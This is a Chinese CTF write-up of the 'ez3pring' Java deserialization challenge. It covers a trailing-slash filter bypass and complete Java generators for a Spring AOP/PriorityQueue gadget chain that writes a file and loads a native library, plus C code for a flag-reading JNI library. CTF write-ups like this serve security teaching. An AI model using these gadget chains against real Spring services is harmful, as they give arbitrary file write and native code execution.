前言

在第四届黄河流域公安院校网络安全技能挑战赛中有一道ez3pring是典型的java原生反序列化,今天我们来深入分析一下。

看的出来t0mcater师傅真的很喜欢java了。。。

信息收集

源码

依旧是给出了源码

@RestController
public class Un3er {
  @RequestMapping({"/read"})
  public String read(@RequestParam String data) {
    try {
      byte[] bytes = Base64.getDecoder().decode(data);
      ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
      NewObjectInputStream objectInputStream = new NewObjectInputStream(byteArrayInputStream);
      objectInputStream.readObject();
      return "success";
    } catch (SecurityException e) {
      e.printStackTrace();
      return "error: " + e.getMessage();
    } catch (Exception var5) {
      var5.printStackTrace();
      return "error";
    } 
  }
}

入口这里和ezfastjson差不多但是设置了WAF

class NewObjectInputStream extends ObjectInputStream {
  private static final Set<String> BLACKLISTED_CLASSES = new HashSet<>();
  
  static {
    BLACKLISTED_CLASSES.add("com.fasterxml.jackson.databind.node.POJONode");
    BLACKLISTED_CLASSES.add("java.security.SignedObject");
    BLACKLISTED_CLASSES.add("com.sun.rowset.JdbcRowSetImpl");
  }
  
  public NewObjectInputStream(InputStream inputStream) throws IOException {
    super(inputStream);
  }
  
  protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
    if (BLACKLISTED_CLASSES.contains(desc.getName()))
      throw new SecurityException("禁止反序列化危险类" + desc.getName()); 
    return super.resolveClass(desc);
  }
}

禁用了三个危险类

  • com.fasterxml.jackson.databind.node.POJONode
  • java.security.SignedObject
  • com.sun.rowset.JdbcRowSetImpl

另外还设置了一个过滤器

访问/read会被拦截

依赖

依赖的版本都很新

初步分析

过滤器绕过

反编译 ChallengeAuthFilter 后可以确认,它只对精确路径 /read 做校验。

这意味着:

  • 请求 /read 会被拦
  • 请求 /read/ 不会被拦

这是一个非常典型的路径匹配失误。很多人第一反应会去试各种编码、双斜杠、分号参数,结果真正能用的绕过反而是最朴素的那个:

/read  -> 被拦
/read/ -> 放行

如果直接访问 /read,会返回类似这样的 JSON:

{"code":401,"msg":"nigeiwokun"}

而如果访问 /read/,请求就会继续进入控制器逻辑。

原生链

由于依赖的版本都很新,这里优先考虑高版本JDK下的Spring原生反序列化链

EventListenerList.readObject
  -> 触发 toString()
  -> POJONode.toString()
  -> 调 getter
  -> JdkDynamicAopProxy
  -> TemplatesImpl.getOutputProperties()
  -> 加载恶意字节码

但是中间的POJONode被禁了,我们只能另辟蹊径。

这题理论上来说是可以通过内存马落地的,但是我没有找到合适的链子,这里介绍一种写入、加载.so文件的方法,链子如下

PriorityQueue.readObject()
  -> heapify()
  -> compare()/compareTo()
  -> Spring AOP advice
  -> 调用指定的危险方法

分成两段:

  1. compare(...) 前置 advice 调 FileCopyUtils.copy(byte[], File)
  2. compareTo(...) 前置 advice 调 System.load(String)

也就是说,不是用链子直接拿 RCE,而是先把链子变成一个“方法调用转发器”。

漏洞利用

编译so文件

#include <jni.h>
#include <glob.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

static int read_first_line(const char *path, char *buf, size_t size) {
    FILE *fp = fopen(path, "r");
    if (!fp) {
        return 0;
    }

    if (!fgets(buf, (int)size, fp)) {
        fclose(fp);
        return 0;
    }
    fclose(fp);

    size_t len = strcspn(buf, "\r\n");
    buf[len] = '\0';
    return 1;
}

static int read_by_pattern(const char *pattern, char *buf, size_t size) {
    glob_t matches;
    memset(&matches, 0, sizeof(matches));
    if (glob(pattern, 0, NULL, &matches) != 0) {
        globfree(&matches);
        return 0;
    }

    int ok = 0;
    for (size_t i = 0; i < matches.gl_pathc; ++i) {
        if (read_first_line(matches.gl_pathv[i], buf, size)) {
            ok = 1;
            break;
        }
    }

    globfree(&matches);
    return ok;
}

static const char *find_flag(char *buf, size_t size) {
    static const char *patterns[] = {
        "/flag",
        "/flag.txt",
        "/app/flag",
        "/app/flag.txt",
        "/root/flag",
        "/root/flag.txt",
        "/home/*/flag",
        "/home/*/flag.txt",
        "/tmp/flag",
        "/tmp/flag.txt"
    };

    for (size_t i = 0; i < sizeof(patterns) / sizeof(patterns[0]); ++i) {
        if (read_by_pattern(patterns[i], buf, size)) {
            return buf;
        }
    }

    return "flag not found";
}

JNIEXPORT jint JNICALL JNI_OnLoad(JavaVM *vm, void *reserved) {
    JNIEnv *env = NULL;
    char message[512];
    (void)reserved;

    if ((*vm)->GetEnv(vm, (void **)&env, JNI_VERSION_1_6) != JNI_OK) {
        return JNI_ERR;
    }

    jclass exClass = (*env)->FindClass(env, "java/lang/SecurityException");
    if (exClass == NULL) {
        return JNI_ERR;
    }

    const char *flag = find_flag(message, sizeof(message));
    (*env)->ThrowNew(env, exClass, flag);
    return JNI_VERSION_1_6;
}

写入so文件

import org.springframework.aop.aspectj.AspectJExpressionPointcut;
import org.springframework.aop.aspectj.AspectJMethodBeforeAdvice;
import org.springframework.aop.aspectj.SingletonAspectInstanceFactory;
import org.springframework.aop.framework.ProxyFactory;
import org.springframework.aop.framework.adapter.MethodBeforeAdviceInterceptor;
import org.springframework.aop.interceptor.ExposeInvocationInterceptor;
import org.springframework.aop.support.DefaultPointcutAdvisor;
import org.springframework.aop.target.SingletonTargetSource;
import org.springframework.util.FileCopyUtils;
import sun.misc.Unsafe;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.InaccessibleObjectException;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.Base64;
import java.util.Comparator;
import java.util.PriorityQueue;

public class WritePayloadMain {
    private static final String DEFAULT_LOCAL_SO = "C:\\Users\\sun\\Desktop\\codex\\5\\exploit\\libez3pring_final.so";
    private static final String DEFAULT_REMOTE_SO = "/tmp/libez3pring_final.so";
    private static final Unsafe UNSAFE = initUnsafe();

    public static void main(String[] args) throws Exception {
        String localSo = args.length > 0 ? args[0] : DEFAULT_LOCAL_SO;
        String remoteSo = args.length > 1 ? args[1] : DEFAULT_REMOTE_SO;
        byte[] payload = buildWrite(Files.readAllBytes(Path.of(localSo)), remoteSo);
        System.out.print(Base64.getEncoder().encodeToString(payload));
    }

    private static byte[] buildWrite(byte[] data, String remotePath) throws Exception {
        Method writeMethod = FileCopyUtils.class.getMethod("copy", byte[].class, File.class);
        Comparator<Object> proxy = createComparatorProxy(
                writeMethod,
                "execution(* *.compare(..)) && args(source,destination)",
                new String[]{"source", "destination"},
                new Class<?>[]{Object.class, Object.class},
                new String[]{"source", "destination"}
        );

        PriorityQueue<Object> queue = new PriorityQueue<>(2);
        queue.add(1);
        queue.add(1);
        setField(queue, "comparator", proxy);
        setField(queue, "queue", new Object[]{data, new File(remotePath)});
        setField(queue, "size", 2);
        return serialize(queue);
    }

    private static Comparator<Object> createComparatorProxy(
            Method adviceMethod,
            String expression,
            String[] pointcutNames,
            Class<?>[] pointcutTypes,
            String[] adviceArgNames
    ) throws Exception {
        DefaultPointcutAdvisor advisor = createAdvisor(adviceMethod, expression, pointcutNames, pointcutTypes, adviceArgNames);

        ProxyFactory inner = new ProxyFactory();
        inner.setTargetSource(new SingletonTargetSource(String.CASE_INSENSITIVE_ORDER));
        inner.setInterfaces(Comparator.class, java.io.Serializable.class);

        ProxyFactory outer = new ProxyFactory();
        outer.setTargetSource(new SingletonTargetSource(inner.getProxy()));
        outer.setInterfaces(Comparator.class, java.io.Serializable.class);
        outer.addAdvisor(ExposeInvocationInterceptor.ADVISOR);
        outer.addAdvisor(advisor);
        return (Comparator<Object>) outer.getProxy();
    }

    private static DefaultPointcutAdvisor createAdvisor(
            Method adviceMethod,
            String expression,
            String[] pointcutNames,
            Class<?>[] pointcutTypes,
            String[] adviceArgNames
    ) {
        AspectJExpressionPointcut pointcut = new AspectJExpressionPointcut();
        pointcut.setExpression(expression);
        pointcut.setParameterNames(pointcutNames);
        pointcut.setParameterTypes(pointcutTypes);

        AspectJMethodBeforeAdvice advice = new AspectJMethodBeforeAdvice(
                adviceMethod,
                pointcut,
                new SingletonAspectInstanceFactory("")
        );
        advice.setArgumentNamesFromStringArray(adviceArgNames);
        advice.calculateArgumentBindings();
        return new DefaultPointcutAdvisor(pointcut, new MethodBeforeAdviceInterceptor(advice));
    }

    private static void setField(Object target, String name, Object value) throws Exception {
        Field field = findField(target.getClass(), name);
        try {
            field.setAccessible(true);
            field.set(target, value);
            return;
        } catch (InaccessibleObjectException | IllegalAccessException ignored) {
            // Fall through to Unsafe on modular JDKs.
        }

        long offset = UNSAFE.objectFieldOffset(field);
        Class<?> type = field.getType();
        if (type == int.class) {
            UNSAFE.putInt(target, offset, ((Number) value).intValue());
            return;
        }
        if (type == long.class) {
            UNSAFE.putLong(target, offset, ((Number) value).longValue());
            return;
        }
        if (type == boolean.class) {
            UNSAFE.putBoolean(target, offset, (Boolean) value);
            return;
        }
        UNSAFE.putObject(target, offset, value);
    }

    private static Field findField(Class<?> type, String name) throws Exception {
        Class<?> current = type;
        while (current != null) {
            try {
                return current.getDeclaredField(name);
            } catch (NoSuchFieldException ignored) {
                current = current.getSuperclass();
            }
        }
        throw new NoSuchFieldException(name);
    }

    private static byte[] serialize(Object value) throws Exception {
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        try (ObjectOutputStream oos = new ObjectOutputStream(out)) {
            oos.writeObject(value);
        }
        return out.toByteArray();
    }

    private static Unsafe initUnsafe() {
        try {
            Field field = Unsafe.class.getDeclaredField("theUnsafe");
            field.setAccessible(true);
            return (Unsafe) field.get(null);
        } catch (Exception e) {
            throw new IllegalStateException("Unable to initialize Unsafe", e);
        }
    }
}

加载so文件

import org.springframework.aop.aspectj.AspectJExpressionPointcut;
import org.springframework.aop.aspectj.AspectJMethodBeforeAdvice;
import org.springframework.aop.aspectj.SingletonAspectInstanceFactory;
import org.springframework.aop.framework.ProxyFactory;
import org.springframework.aop.framework.adapter.MethodBeforeAdviceInterceptor;
import org.springframework.aop.interceptor.ExposeInvocationInterceptor;
import org.springframework.aop.support.DefaultPointcutAdvisor;
import org.springframework.aop.target.SingletonTargetSource;
import sun.misc.Unsafe;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.InaccessibleObjectException;
import java.lang.reflect.Method;
import java.util.Base64;
import java.util.PriorityQueue;

public class LoadPayloadMain {
    private static final String DEFAULT_REMOTE_SO = "/tmp/libez3pring_final.so";
    private static final Unsafe UNSAFE = initUnsafe();

    public static void main(String[] args) throws Exception {
        String remoteSo = args.length > 0 ? args[0] : DEFAULT_REMOTE_SO;
        byte[] payload = buildLoad(remoteSo);
        System.out.print(Base64.getEncoder().encodeToString(payload));
    }

    private static byte[] buildLoad(String remotePath) throws Exception {
        Method loadMethod = System.class.getMethod("load", String.class);
        Comparable<Object> proxy = createComparableProxy(
                loadMethod,
                "execution(* *.compareTo(..)) && args(soPath)",
                new String[]{"soPath"},
                new Class<?>[]{String.class},
                new String[]{"soPath"}
        );

        PriorityQueue<Object> queue = new PriorityQueue<>(2);
        queue.add("1");
        queue.add("1");
        setField(queue, "queue", new Object[]{proxy, remotePath});
        setField(queue, "size", 2);
        return serialize(queue);
    }

    private static Comparable<Object> createComparableProxy(
            Method adviceMethod,
            String expression,
            String[] pointcutNames,
            Class<?>[] pointcutTypes,
            String[] adviceArgNames
    ) throws Exception {
        DefaultPointcutAdvisor advisor = createAdvisor(adviceMethod, expression, pointcutNames, pointcutTypes, adviceArgNames);

        ProxyFactory inner = new ProxyFactory();
        inner.setTargetSource(new SingletonTargetSource(""));
        inner.setInterfaces(Comparable.class, java.io.Serializable.class);

        ProxyFactory outer = new ProxyFactory();
        outer.setTargetSource(new SingletonTargetSource(inner.getProxy()));
        outer.setInterfaces(Comparable.class, java.io.Serializable.class);
        outer.addAdvisor(ExposeInvocationInterceptor.ADVISOR);
        outer.addAdvisor(advisor);
        return (Comparable<Object>) outer.getProxy();
    }

    private static DefaultPointcutAdvisor createAdvisor(
            Method adviceMethod,
            String expression,
            String[] pointcutNames,
            Class<?>[] pointcutTypes,
            String[] adviceArgNames
    ) {
        AspectJExpressionPointcut pointcut = new AspectJExpressionPointcut();
        pointcut.setExpression(expression);
        pointcut.setParameterNames(pointcutNames);
        pointcut.setParameterTypes(pointcutTypes);

        AspectJMethodBeforeAdvice advice = new AspectJMethodBeforeAdvice(
                adviceMethod,
                pointcut,
                new SingletonAspectInstanceFactory("")
        );
        advice.setArgumentNamesFromStringArray(adviceArgNames);
        advice.calculateArgumentBindings();
        return new DefaultPointcutAdvisor(pointcut, new MethodBeforeAdviceInterceptor(advice));
    }

    private static void setField(Object target, String name, Object value) throws Exception {
        Field field = findField(target.getClass(), name);
        try {
            field.setAccessible(true);
            field.set(target, value);
            return;
        } catch (InaccessibleObjectException | IllegalAccessException ignored) {
            // Fall through to Unsafe on modular JDKs.
        }

        long offset = UNSAFE.objectFieldOffset(field);
        Class<?> type = field.getType();
        if (type == int.class) {
            UNSAFE.putInt(target, offset, ((Number) value).intValue());
            return;
        }
        if (type == long.class) {
            UNSAFE.putLong(target, offset, ((Number) value).longValue());
            return;
        }
        if (type == boolean.class) {
            UNSAFE.putBoolean(target, offset, (Boolean) value);
            return;
        }
        UNSAFE.putObject(target, offset, value);
    }

    private static Field findField(Class<?> type, String name) throws Exception {
        Class<?> current = type;
        while (current != null) {
            try {
                return current.getDeclaredField(name);
            } catch (NoSuchFieldException ignored) {
                current = current.getSuperclass();
            }
        }
        throw new NoSuchFieldException(name);
    }

    private static byte[] serialize(Object value) throws Exception {
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        try (ObjectOutputStream oos = new ObjectOutputStream(out)) {
            oos.writeObject(value);
        }
        return out.toByteArray();
    }

    private static Unsafe initUnsafe() {
        try {
            Field field = Unsafe.class.getDeclaredField("theUnsafe");
            field.setAccessible(true);
            return (Unsafe) field.get(null);
        } catch (Exception e) {
            throw new IllegalStateException("Unable to initialize Unsafe", e);
        }
    }
}

参考文献

高版本JDK下的Spring原生反序列化链